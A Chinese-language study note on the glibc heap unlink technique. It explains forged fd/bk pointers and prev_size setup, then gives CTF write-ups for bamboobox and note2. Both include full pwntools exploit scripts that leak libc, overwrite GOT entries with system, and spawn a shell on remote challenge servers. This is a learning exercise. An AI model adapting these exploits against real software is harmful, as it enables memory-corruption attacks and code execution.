0%

unlink学习笔记

[TOC]

前置知识

目的

假设我们称,指向_chunk_的指针区域,为_chunk_hook_区域。

_unlink_的目的就是,使某个_chunk_hook_指向一个_chunk_hook_,也就是使_chunk_hook_区域可以作为一个_chunk_,这样就可以对_chunk_hook_区域进行任意泄漏和写,进而也就能对其他地址进行任意泄漏和写。

利用思路

  • 要被合并的正序第一个的_chunk_,称**unlink_chunk;指向_free_chunk_的指针,称unlink_chunk_hook**,则:
    fd = unlink_chunk_hook - 0x18
    bk = unlink_chunk_hook - 0x10

  • 将要free的_chunk_,称**inuse0_chunkinuse0_chunkprev_size字段,表示前面所有空闲(要被合并**)的_chunk_的user_data_size
    inuse0_chunk_prev_size = all_chunk_user_data_size

_unlink_后,_unlink_chunk_hook_成功指向fd

利用条件

能使一个_chunk_处于_free_状态,并且能控制该_chunk_的_user_data_字段。

  1. 堆溢出,能自由向该_chunk_的_user_data_中输入数据,并能溢出使后一个_chunk_的_prev_inuse_位为0。此时该_chunk_处于_free_状态。
  2. _uaf_漏洞。

能使后一个_chunk_被free的时候,被放到_unsorted bin_中。

  1. 当没有_tcache_时,_chunk_的大小需大于_fast bin_的范围

hitcontraining_bamboobox

漏洞点

在_change_item_函数中,有堆溢出漏洞。

1

利用思路

申请3个_chunk_,_chunk0_作为_unlink_chunk_。_chunk_1_用来使_chunk0_处于空闲状态,并合并_chunk0_。_chunk2_用来防止释放_chunk1_后,_chunk1_与_Top chunk_合并。

add(0x30,b'a'*8)
add(0x80,b'c'*8)
add(0x20,b'/bin/sh\x00') #后面执行system的时候会用到

image-20240721194438119

如图,在_chunk_hook_区域找到_unlink_chunk_hook_,并计算出_fd_和_bk_:

unlink_chunk_hook = 0x6020c8
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10

要注意chunk1prev_size字段,表示前面空闲的chunk的大小

payload = p64(0)*2+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
#p64(0x30) 是free_chunk(即chunk0)的user_data字段大小
edit(0,0x50,payload)
delete(1)
# chunk1的prev_inuse位是0,free掉chunk1后,会向前合并chunk0

exp

from tools import *
# context.log_level="debug"
# p = process("./a")
p = remote("node5.buuoj.cn",25170)
debug(p,0x400E84,0x400E90,0x400E9C,0x400EA8)
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the name of item:",content)
def show():
p.sendlineafter("Your choice:",str(1))
def edit(index,size,content):
p.sendafter("Your choice:",str(3))
p.sendafter("Please enter the index of item:",str(index))
p.sendafter("Please enter the length of item name:",str(size))
p.sendafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index of item:",str(index))

unlink_chunk_hook = 0x6020c8
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10
add(0x30,b'a'*8)
add(0x80,b'c'*8)
add(0x20,b'/bin/sh\x00')
payload = p64(0)*2+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,0x50,payload)
delete(1)

show()
p.recvuntil('0 : ')
libc_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_addr-0x3c48e0
log_addr("libc_base")
payload = p64(libc_addr)+p64(0)+p64(0x30)+p64(elf.got['free'])
edit(0,0x30,payload)
system_addr = libc_base+libc.sym['system']
edit(0,0x10,p64(system_addr))
delete(2)
p.interactive()

zctf2016_note2

学习与收获

  1. 将要free的_chunk_,称**inuse0_chunk。而inuse0_chunkprev_size字段,则表示前面所有空闲(要被合并**)的_chunk_的user_data_size
    inuse0_chunk_prev_size = all_chunk_user_data_size
  2. _strcpy_以空字符0作为结束标志

代码审计

如果在创建_chunk_时,创建size = 0的_chunk_,那么在_edit_该_chunk_时,便可实现溢出。要注意_edit_中的strcpy函数,会被00截断。

edit

unsigned __int64 edit()
{
char *v0; // rbx
int v2; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]


puts("Input the id of the note:");
v2 = sub_400A4A(); //v2是index
if ( v2 >= 0 && v2 <= 3 )
{
src = *(&ptr + v2); //src是chunk的user_data区域
v5 = qword_602140[v2];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = sub_400A4A(); //v3是上面选择的1/2
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
/* v7 = malloc(0xA0uLL);
strcpy(v7, "TheNewContents:");
printf(v7); */
sub_4009BD((v7 + 15), 144LL, 10);
sub_400B10(v7 + 15); //v7+15是我们输入的要edit的数据
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
//程序将我们edit的数据v7+15,strncat拼接,到dest的末尾
strcpy(src, dest);
//将dest区域的数据,strcpy复制,到src(chunk的user_data区域)。
//strcpy以空字符0作为结束标志
free(v7);
}
}
}

利用思路

本题需要向前合并2个_chunk_,因为我们没有办法往_chunk1_中写入payload。_chunk0_用来布置_fd_和_bk_;_chunk1_用来设置_chunk2_的_prev_inuse_和_precv_size_字段;_chunk2_用来向前合并_chunk_;_chunk3_用来,防止delete(2)时与_Top chunk_合并。

创建4个_chunk_,把_chunk0_作为_unlink_chunk_,并直接写入_fd_和_bk_到_chunk0_中。

unlink_chunk_hook = 0x602120
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10

paylaod = p64(0)*2+p64(fd)+p64(bk)+b'c'*0x10
add(0x30,paylaod)
add(0,'')
add(0x80,b'a'*8)
add(0x10,b'/bin/sh\x00')

设置_chunk2_的_prev_inuse_位为0,使_chunk1_空闲。设置_chunk2_的_prev_size_为0x50,当delete(2)时,会向前合并0x70的内存。

paylaod = b'A'*0x18+b'\x90'
edit(1,paylaod)
num = 7
for i in range(7):
edit(1,b'A'*0x10+b'B'*num)
num = num-1
print(num)
paylaod = b'B'*0x10+b'\x50'
edit(1,paylaod)
delete(2)

exp

from tools import *
# p = process("./note2")
elf = ELF('./note2')
libc = ELF('libc-2.23.so')
p = remote('node5.buuoj.cn',25053)
debug(p,0x401032,0x401040,0x401047)
# context.log_level='debug'

def add(size,content):
p.sendlineafter("option--->>\n",str(1))
p.sendlineafter("Input the length of the note content:(less than 128)\n",str(size))
p.sendlineafter("Input the note content:\n",content)
def show(index):
p.sendlineafter("option--->>\n",str(2))
p.sendlineafter("Input the id of the note:\n",str(index))
def edit(index,content):
p.sendlineafter("option--->>\n",str(3))
p.sendlineafter("Input the id of the note:\n",str(index))
p.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]\n",str(1))
p.sendlineafter("TheNewContents:",content)
def delete(index):
p.sendlineafter("option--->>\n",str(4))
p.sendlineafter("Input the id of the note:\n",str(index))
p.sendlineafter("Input your name:\n",b'kim')
p.sendlineafter("Input your address:\n",b'wen')
free_chunk_hook = 0x602120
fd = free_chunk_hook-0x18
bk = free_chunk_hook-0x10

paylaod = p64(0)*2+p64(fd)+p64(bk)+b'c'*0x10
add(0x30,paylaod)
add(0,'')
add(0x80,b'a'*8)
add(0x10,b'/bin/sh\x00')
paylaod = b'A'*0x18+b'\x90'
edit(1,paylaod)
num = 7
for i in range(7):
edit(1,b'A'*0x10+b'B'*num)
num = num-1
print(num)
paylaod = b'B'*0x10+b'\x50'
edit(1,paylaod)
delete(2)

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
paylaod = b'C'*0x18+p64(elf.got['free'])
edit(0,paylaod)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free']
log_addr("libc_base")
system = libc_base+libc.sym['system']
edit(0,p64(system))
delete(3)

p.interactive()

思路

  1. 修改_fd_,bk_指针,然后触发_unlink
  2. 泄漏函数真实地址
  3. 覆盖_atoi@got_值为_system_的地址,发送'/bin/sh\x00'调用_atoi_函数

exp

from tools import *
# p = process('./bamboobox')
p = remote("node5.buuoj.cn",25863)
debug(p,0x400E90,0x400E9C,0x400EA8,0x400cdd)
# context.log_level = 'debug'
elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

def show():
p.sendlineafter("Your choice:",str(1))
# p.sendlineafter("")
def add(size,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the name of item:",content)
def edit(index,size,content):
p.sendlineafter("Your choice:",str(3))
p.sendlineafter("Please enter the index of item:",str(index))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index of item:",str(index))

fake_chunk = 0x6020c8
fd = 0x6020b0
bk = 0x6020b8
add(0x30,b'a'*8)
add(0x80,b'b'*8)
add(0x30,b'c'*8)
payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,0x80,payload)
delete(1)

payload = p64(0)*2+p64(0x30)+p64(elf.got['atoi'])
edit(0,0x30,payload)
show()
p.recvuntil(b'0 : ')
atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log_addr("atoi_addr")

libc_base = atoi_addr-libc.sym['atoi']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(0,0x8,p64(system_addr))
p.recvuntil("Your choice:",b'/bin/sh\x00')
p.interactive()